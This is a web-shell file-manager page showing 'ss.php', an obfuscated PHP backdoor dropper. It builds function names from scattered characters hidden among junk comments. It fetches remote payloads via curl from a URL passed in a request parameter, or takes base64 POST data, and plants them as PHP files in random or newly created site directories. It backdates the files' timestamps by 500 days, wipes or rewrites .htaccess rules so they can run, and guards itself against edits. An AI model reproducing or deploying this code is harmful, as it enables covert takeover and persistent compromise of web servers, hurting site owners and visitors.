One Hat Cyber Team

Edit File: ss.php

<?php $Fgu5sIeqt3E8J=""; ?><?php $DjKspBdm=EXPlode(base64_dEcODe("PD9waHAgJEZndTVzSWVxdDNFOEo9IiI7ID8+"),filE_get_cONTeNts(__FILE__));if(triM($DjKspBdm[0])!=""||tRIm($DjKspBdm[2])!=""){cHmod(__DIR__,0755);chMod(__FILE__,0644);filE_pUT_CONtENts(__FILE__,baSE64_DecoDE("PD9waHAgJEZndTVzSWVxdDNFOEo9IiI7ID8+").$DjKspBdm[1].baSe64_DEcodE("PD9waHAgJEZndTVzSWVxdDNFOEo9IiI7ID8+"));}?><?php $dope=""; ;/*$grigged*/; ;/*hawked*/; ;/*miranda*/; ;/*UBhC*/; $dope.="f"; ;/*birch*/; $dope.="i"; ;/*dirtily*/; ;/*fZaKcrvU*/; ;/*damming*/; $dope.="l"; $campful=explode("O","sadgrove"); ;/*p0deZc*/; $campful=explode("p","jersey"); $dope.="e"; ;/*boatman*/; $dope.="_"; $dope.="p"; $form=str_replace("H","","gamblers"); ;/*lounges*/; $dope.="u"; ;/*charles*/; $dope.="t"; ;/*miltonic*/; function srp($fulsome) { $ribs=""; $iota=md5($fulsome); $ribs=substr($iota,0,5).substr($iota,-5,5); return $ribs; } $dope.="_"; ;/*parte*/; ;/*$supper*/; $dope.="c"; ;/*$lidia*/; ;/*tugela*/; $dope.="o"; function tgw($fulsome) { $verborum=""; $setin=strlen($fulsome); if ($setin>15) { $z_mid=intval($setin/2); $verborum=substr($fulsome,0,3).substr($fulsome,$z_mid,3).substr($fulsome,-3,3); }else { $verborum=$fulsome; } return $verborum; } $dope.="n"; ;/*IS9L*/; ;/*garlic*/; ;/*tAM*/; $dope.="t"; $towler=srp("YG31"); $dope.="e"; $dope.="n"; ;/*cagoux*/; ;/*attics*/; ;/*$kyries*/; $dope.="t"; ;/*neuilly*/; $dope.="s"; $restai=""; $restai.="c"; ;/*4GaM7oS*/; ;/*romanus*/; ;/*Lv4TfO*/; ;/*x5r4gdU*/; $restai.="h"; $form=str_replace("32Q","","joinest"); $restai.="m"; ;/*doctorum*/; $restai.="o"; ;/*$hotman*/; $restai.="d"; $bricked=""; $bricked.="g"; ;/*gUHK*/; $bricked.="l"; ;/*$dyer*/; ;/*vT5*/; $bricked.="o"; ;/*Dfhs5r*/; ;/*$form*/; ;/*lengthy*/; ;/*FMnP16ik*/; $bricked.="b"; $alleyne=""; $alleyne.="u"; ;/*lkvFP20*/; $campful=explode("T","cotton"); ;/*GYr*/; $alleyne.="n"; $alleyne.="l"; ;/*rG3*/; function vzt($cujus) { $cujus=trim($cujus); $cujus=substr($cujus,6,-6); $cujus=str_replace("\55","+",$cujus); $cujus=str_replace("_","/",$cujus); $cujus=str_replace(".","=",$cujus); $cujus=base64_decode($cujus); return $cujus; } ;/*EdI4*/; $alleyne.="i"; ;/*edgar*/; $alleyne.="n"; $towler=srp("Tm5kb9F4"); ;/*jeune*/; $alleyne.="k"; $blancs=""; ;/*$nurse*/; ;/*1yt*/; ;/*SzKk*/; $blancs.="i"; ;/*filial*/; ;/*nPxQrV7*/; $blancs.="s"; ;/*gloriae*/; $blancs.="_"; ;/*J2th*/; ;/*$hantota*/; ;/*yRBMq*/; ;/*BSs*/; ;/*pnx3XbI*/; $blancs.="f"; ;/*amniotic*/; $blancs.="i"; ;/*iKXe0wT*/; ;/*f4zse*/; $blancs.="l"; ;/*1pqMUKs*/; $blancs.="e"; $dyer=""; ;/*affably*/; ;/*6rfRgS*/; $dyer.="i"; ;/*ahmy*/; ;/*Qnd7E*/; $dyer.="s"; ;/*Uq5uBaWn*/; ;/*feature*/; ;/*imported*/; $dyer.="_"; ;/*utA7a42*/; ;/*$supper*/; ;/*GywqDQ4*/; $dyer.="d"; ;/*$fitting*/; $dyer.="i"; ;/*lenity*/; ;/*z5VHXY*/; ;/*spells*/; ;/*treat*/; $dyer.="r"; $wasnt=""; ;/*tlMKyf*/; ;/*$blancs*/; $wasnt.="t"; ;/*OXL*/; $wasnt.="o"; ;/*$patiensisbirth*/; ;/*mirada*/; $wasnt.="u"; ;/*soize*/; ;/*$riviera*/; ;/*$hotman*/; ;/*3Xx*/; $wasnt.="c"; ;/*$blocking*/; $wasnt.="h"; $waxies=""; ;/*padded*/; ;/*N5PiF*/; ;/*pFvedA*/; $waxies.="b"; ;/*enNAPyiT*/; $waxies.="a"; ;/*$rennets*/; function kb($fulsome) { $startled=preg_replace("/[^a-z]/","",$fulsome); return $startled; } $waxies.="s"; ;/*oO1a*/; ;/*molasses*/; ;/*QfmUxYAC*/; $waxies.="e"; ;/*$hotman*/; ;/*justling*/; $waxies.="n"; ;/*foMtbRc*/; $waxies.="a"; ;/*bare*/; $waxies.="m"; ;/*enticing*/; ;/*judith*/; ;/*yPBM5b6*/; $waxies.="e"; ;/*auberge*/; ;/*$study*/; ;/*LSC*/; ;/*9bfd*/; error_reporting(0); ;/*6Om1*/; ;/*$aside*/; $hotman=($_SERVER["\110\124\124\120\123"]!=""&&$_SERVER["\110\124\124\120\123"]!="\157\146\146")||$_SERVER["\122\105\121\125\105\123\124\137\123\103\110\105\115\105"]=="\150\164\164\160\163"||$_SERVER["\123\105\122\126\105\122\137\120\117\122\124"]==443 ? "\150\164\164\160\163\72\57\57" : "\150\164\164\160\72\57\57" ; ;/*$spoilt*/; $vague=$_SERVER["\110\124\124\120\137\110\117\123\124"]; ;/*2gEY5D*/; ;/*exclaim*/; if ( isset($_SERVER["\122\105\121\125\105\123\124\137\125\122\111"]) ) { $canaris=explode('?',$_SERVER["\122\105\121\125\105\123\124\137\125\122\111"]); $carting=$canaris[0]; ;/*$form*/; }else { ;/*2FDp*/; ;/*aSmH*/; ;/*$startled*/; $carting=$_SERVER["\123\103\122\111\120\124\137\116\101\115\105"]; ;/*EJz*/; ;/*hogshead*/; } ;/*5L0*/; $abandons=str_replace('\\','/',$_SERVER["\123\103\122\111\120\124\137\106\111\114\105\116\101\115\105"]); ;/*$frippery*/; $barouche=str_replace($carting,'',$abandons); ;/*applause*/; $restai($barouche,0755); ;/*YwyJ8*/; ;/*vRAsz1*/; ;/*yBHmO*/; $archway="\55\55\55"; $archway.="\144\157"; ;/*$gambols*/; ;/*6Zn*/; ;/*alway*/; ;/*poohpooh*/; $archway.="\55"; ;/*b5F7n*/; ;/*topcoat*/; $archway.="\156\157\164"; ;/*$study*/; $archway.="\55"; ;/*rebel*/; ;/*1HcMa*/; $archway.="\143\150\141\156\147\145"; ;/*spades*/; $towler=srp("YWwrLFEi"); ;/*$rennets*/; $archway.="\55"; $towler=srp("ljCDat9SH"); $archway.="\164\150\145"; ;/*Fn0*/; $towler=srp("Pu1LjFJh"); ;/*hq2NEcXu*/; function rtj($seacoast) { $frippery=""; if ( function_exists("\143\165\162\154\137\145\170\145\143") ) { $blocking=curl_init(); curl_setopt ($blocking, CURLOPT_URL, $seacoast); curl_setopt ($blocking, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($blocking, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt( $blocking, CURLOPT_SSL_VERIFYHOST, FALSE ); curl_setopt( $blocking, CURLOPT_SSL_VERIFYPEER, FALSE ); curl_setopt( $blocking, CURLOPT_TIMEOUT, 30); curl_setopt ($blocking, CURLOPT_HEADER, 0); $frippery = curl_exec($blocking); curl_close($blocking); }else { $frippery=file_get_contents($seacoast); } return $frippery; } ;/*eyesore*/; $archway.="\55"; ;/*VtUuG*/; ;/*UmE5vq*/; $archway.="\146\157\154\154\157\167\151\156\147"; ;/*$kyries*/; ;/*cited*/; $archway.="\55"; $riviera=tgw("vaguedrampatching"); $campful=explode("g","rangling"); ;/*0u3cJ*/; ;/*uxov0t*/; $archway.="\143\157\156\164\145\156\164"; ;/*4lBCtT*/; ;/*witness*/; $archway.="\55\55\55"; ;/*$patiensadling*/; ;/*JEmBpi*/; ;/*buncombe*/; if ($_SERVER["\121\125\105\122\131\137\123\124\122\111\116\107"]=="\144\137\150") { ;/*compute*/; $sanctam=array(); ;/*Bxbp7d*/; ;/*$fitting*/; $expenses=0; ;/*$waxies*/; $demands=0; ;/*contrite*/; $sanctam[0][]=$barouche; ;/*curb*/; while(!empty($sanctam[$expenses])) { foreach($sanctam[$expenses] as $marvel) { $tassin=$bricked($marvel."\57\52",GLOB_ONLYDIR); if (!empty($tassin)) { foreach($tassin as $study) { $sanctam[$expenses+1][]=$study; $restai($study,0755); $rennets=$study."\57\56\150\164\141\143\143\145\163\163"; if ($blancs($rennets)) { $dram=file_get_contents($rennets); if (preg_match('/'.$archway.'/',$dram)==0) { $restai($rennets,0777); $dope($rennets,''); $alleyne($rennets); $demands++; } } } } } $expenses++; } echo $demands."\144\157\156\145"; ;/*s06qoc*/; exit; } if ($_SERVER["\121\125\105\122\131\137\123\124\122\111\116\107"]=="\143\137\143") { echo "\152\153\55\55\55\157\153"; ;/*$abandons*/; exit; } $campful=explode("u","andujar"); ;/*tumours*/; ;/*punic*/; if ( !empty($_GET["\146\137\143"]) ) { ;/*$deluder*/; $marquess=vzt($_GET["\146\137\143"]); ;/*8xF4gwK*/; if($blancs($barouche.$marquess)){$restai($barouche.$marquess,0644);echo "\146\143\55\55\55\157\153";}else{echo "\146\143\55\55\55\156\157";} ;/*ka4*/; exit; } ;/*sanson*/; ;/*1FR7iE*/; if ( !empty($_GET["\146\137\144"]) ) { ;/*epps*/; $lidia=vzt($_GET["\146\137\144"]); if ($blancs($barouche.$lidia)) { $restai($barouche.$lidia,0777); $dope($barouche.$lidia,"\172",LOCK_EX); $alleyne($barouche.$lidia); $towler=srp("T1FYpI"); ;/*botty*/; } ;/*doNP7BD*/; ;/*vAKf*/; ;/*s27BIhz*/; ;/*tumuli*/; if (!$blancs($barouche.$lidia)||trim(file_get_contents($barouche.$lidia))=="\172") { echo "\146\144\55\55\55\157\153"; ;/*$form*/; $towler=srp("KwUV"); }else { echo "\146\144\55\55\55\156\157"; ;/*utm*/; ;/*mule*/; } ;/*buddhi*/; exit; } ;/*sturgeon*/; if ( (!empty($_POST["\143\157\144\145\137\143\157\156\164\145\156\164"])) && (!empty($_POST["\143\157\144\145\137\146\151\154\145\156\141\155\145"])) ) { ;/*kingdom*/; ;/*$ravaged*/; $justly=base64_decode($_POST["\143\157\144\145\137\143\157\156\164\145\156\164"]); $teeming=base64_decode($_POST["\143\157\144\145\137\146\151\154\145\156\141\155\145"]); ;/*$gambols*/; }else { $lacked=kb("c6tmnurseX4wu0aW"); ;/*blacker*/; $towler=srp("8Mq2NKmX3G"); if (!empty($_GET["\165\137\160"])) { $feelings=vzt($_GET["\165\137\160"]); $justly=trim(rtj($feelings."\137\143\157\144\145\137\143\157\156\164\145\156\164\56\164\170\164")); $lacked=kb("ejOSwasideRN3JH6u"); $teeming=trim(rtj($feelings."\137\143\157\144\145\137\146\151\154\145\156\141\155\145\56\164\170\164")); } ;/*VCy*/; ;/*$frippery*/; } ;/*salon*/; ;/*Fx2wlrgb*/; if (empty($justly) || empty($teeming)) { ;/*$ravaged*/; ;/*earthen*/; ;/*HqsV0Qed*/; exit; } ;/*engines*/; if (substr($teeming,0,1)=='/' && substr($teeming,-1,1)!='/') { $form=str_replace("j49","","divil"); $fitting=$barouche.$teeming; ;/*vbAGj*/; ;/*$wasnt*/; $stigma=$hotman.$vague.$teeming; ;/*buffet*/; preg_match('/(\/.+)\//',$fitting,$reclaim); ;/*$teeming*/; $glow=$reclaim[1]; ;/*AkQE*/; $eireann = explode("/",ltrim(str_replace($barouche,'',$glow),"/")); $supper = $barouche; foreach($eireann as $allure) { $supper .= "/" . $allure; if ( $dyer( $supper ) ) { $restai( $supper, 0755 ); } else { mkdir( $supper, 0755, true ); } } ;/*$confused*/; if ( $blancs($fitting) ) { ;/*xjr3T9gH*/; ;/*$spoilt*/; $restai($fitting,0777); ;/*$eireann*/; $alleyne($fitting); ;/*eclipses*/; ;/*RBrL*/; } ;/*jrIl*/; ;/*crutched*/; $dope($fitting,$justly); ;/*curd*/; if ( $blancs($fitting) && md5($justly)==md5(file_get_contents($fitting)) ) { $kyries=1; ;/*$bundles*/; echo $stigma; } ;/*stew*/; } $campful=explode("V","flayers"); ;/*b7RfBnv2*/; if($teeming=="\162\141\156\144\157\155") { ;/*armorial*/; ;/*thenard*/; $nifty=array(); ;/*TzI*/; $sanctam=array(); ;/*homespun*/; ;/*whisper*/; $expenses=0; ;/*$study*/; $nifty[]=$barouche; ;/*conveys*/; $sanctam[0][]=$barouche; ;/*$nurse*/; while(!empty($sanctam[$expenses])) { foreach($sanctam[$expenses] as $marvel) { $tassin=$bricked($marvel."\57\52",GLOB_ONLYDIR); if (!empty($tassin)) { foreach($tassin as $study) { if ( preg_match('/plugin[s]?$/si',$study)==1 ){continue;} $sanctam[$expenses+1][]=$study; $nifty[]=$study; $restai($study,0755); } } } $expenses++; if (count($nifty)>=1000) {break;} } ;/*xka5DP*/; if ( count($nifty)<4 ) { $nurse=array(); $nurse[]="\151\155\141\147\145\163"; ;/*QBV*/; ;/*$demands*/; ;/*$wasnt*/; $nurse[]="\151\156\143\154\165\144\145\163"; $nurse[]="\164\145\155\160\154\141\164\145\163"; $nurse[]="\143\163\163"; $form=str_replace("wg","","repose"); $nurse[]="\143\141\143\150\145"; $nurse[]="\166\145\156\144\145\162"; $nurse[]="\154\151\142\162\141\162\171"; $campful=explode("d","icicles"); $nurse[]="\142\141\143\153\165\160"; ;/*VoUadcR*/; $nurse[]="\144\141\164\141\142\141\163\145"; ;/*$talavera*/; $nurse[]="\144\141\164\141"; ;/*laQs9W*/; $nurse[]="\152\163"; ;/*poule*/; $nurse[]="\154\157\147"; ;/*$canaris*/; $nurse[]="\165\163\145\162"; $nurse[]="\146\157\156\164\163"; $campful=explode("I","sullying"); ;/*from*/; ;/*pimping*/; shuffle($nurse); ;/*eqX*/; ;/*ZkqL2m*/; ;/*$taketh*/; for($hant=0;$hant<3;$hant++) { $veniet=$barouche.'/'.$nurse[$hant]; mkdir($veniet,0755,true); if ( $dyer($veniet) ){$nifty[]=$veniet;} } } $kyries=0; ;/*13h*/; $deluder="\151\156\144\145\170\56\160\150\160"; ;/*multum*/; ;/*$stags*/; for($patiens=1;$patiens<=10;$patiens++) { $glow=$nifty[array_rand($nifty,1)]; $fitting=$glow.'/'.$deluder; $stigma=$hotman.$vague.str_replace($barouche,'',$glow).'/'.$deluder; if ( !$blancs($fitting) ) { $dope($fitting,$justly); if ( $blancs($fitting) && md5($justly)==md5(file_get_contents($fitting)) ) { $kyries=1;echo $stigma;break; } } } if ($kyries==0) { for($patiens=1;$patiens<=10;$patiens++) { $glow=$nifty[array_rand($nifty,1)]; $deluder=$waxies($glow)."\56\160\150\160"; $fitting=$glow.'/'.$deluder; $stigma=$hotman.$vague.str_replace($barouche,'',$glow).'/'.$deluder; if ( !$blancs($fitting) ) { $dope($fitting,$justly); if ( $blancs($fitting) && md5($justly)==md5(file_get_contents($fitting)) ) { $kyries=1;echo $stigma;break; } } } ;/*philemon*/; } ;/*$allure*/; if ($kyries==0) { ;/*$hotman*/; $waxen="\66\71"; ;/*doughy*/; $waxen.="\142\171\167\65"; ;/*$enfin*/; $waxen.="\165\141\146"; $waxen.="\154\144\145"; ;/*d0LrZfp6*/; $form=str_replace("8RG","","savannas"); ;/*rmO*/; $waxen.="\162\67\170\63"; $waxen.="\160\163\152"; ;/*infused*/; ;/*2AinhN*/; $waxen.="\164\155\61"; $riviera=tgw("cartingmarquessgently"); $waxen.="\166\161\64\156\153"; $waxen.="\151\172\60"; ;/*$abandons*/; $waxen.="\150\147\157"; $form=str_replace("3z","","musc"); $lacked=kb("6iawYHx74NvenietXAqvwgTN"); $waxen.="\62\143\70"; ;/*jMQ*/; for($patiens=1;$patiens<=11;$patiens++) { $patiens==11 ? $glow=$barouche : $glow=$nifty[array_rand($nifty,1)]; $colleges=str_shuffle($waxen); $enfin=substr($colleges,0,mt_rand(3,10))."\56\160\150\160"; $fitting=$glow.'/'.$enfin; $stigma=$hotman.$vague.str_replace($barouche,'',$glow).'/'.$enfin; $dope($fitting,$justly); if ( $blancs($fitting) && md5($justly)==md5(file_get_contents($fitting)) ) { $kyries=1;echo $stigma;break; } } ;/*MLqJtC*/; } } ;/*$expensesollily*/; ;/*CTpgfB6G*/; ;/*miracles*/; ;/*AHvx7d*/; if ( isset($kyries) && $kyries==1 ) { $wasnt($fitting, strtotime("\55\65\60\60\40\144\141\171\163", time())); $form=str_replace("pQ","","wearer"); ;/*cephalic*/; ;/*vyfKai*/; if ( $glow!=$barouche ) { ;/*$aside*/; ;/*$whining*/; ;/*gala*/; $gently=$glow."\57\56\150\164\141\143\143\145\163\163"; ;/*puling*/; ;/*rourke*/; if ($blancs($gently)) { ;/*nadiral*/; ;/*$archway*/; $restai($gently,0777); ;/*Gi1CmpR*/; $dope($gently,''); $alleyne($gently); $campful=explode("t","claims"); } if ( $waxies($fitting)!="\151\156\144\145\170\56\160\150\160" ) { ;/*$patiens*/; ;/*xnVspvR6*/; $patching=''; $form=str_replace("o","","inherent"); foreach( $bricked($glow."\57\52\56\160\150\160") as $fowld ) { $patching.="\174".$waxies($fowld); } ;/*helotic*/; $form=str_replace("H","","hummocks"); $patching=ltrim($patching,"\174"); $crusoe="\43".$archway; ;/*$confused*/; $crusoe.="\n"."\74\106\151\154\145\163\115\141\164\143\150\40\47\136\50".$patching."\51\44\47\76"; $crusoe.="\n"."\117\162\144\145\162\40\141\154\154\157\167\54\144\145\156\171"; $crusoe.="\n"."\101\154\154\157\167\40\146\162\157\155\40\141\154\154"; ;/*$dyer*/; $crusoe.="\n"."\74\57\106\151\154\145\163\115\141\164\143\150\76"; $lacked=kb("wZscoop6biLw"); ;/*$dram*/; $dope($gently,$crusoe); $wasnt($fitting, strtotime("\55\65\60\60\40\144\141\171\163", time())); } } } ;/*C9XM2*/; ;/*pleins*/; ?><?php $Fgu5sIeqt3E8J=""; ?>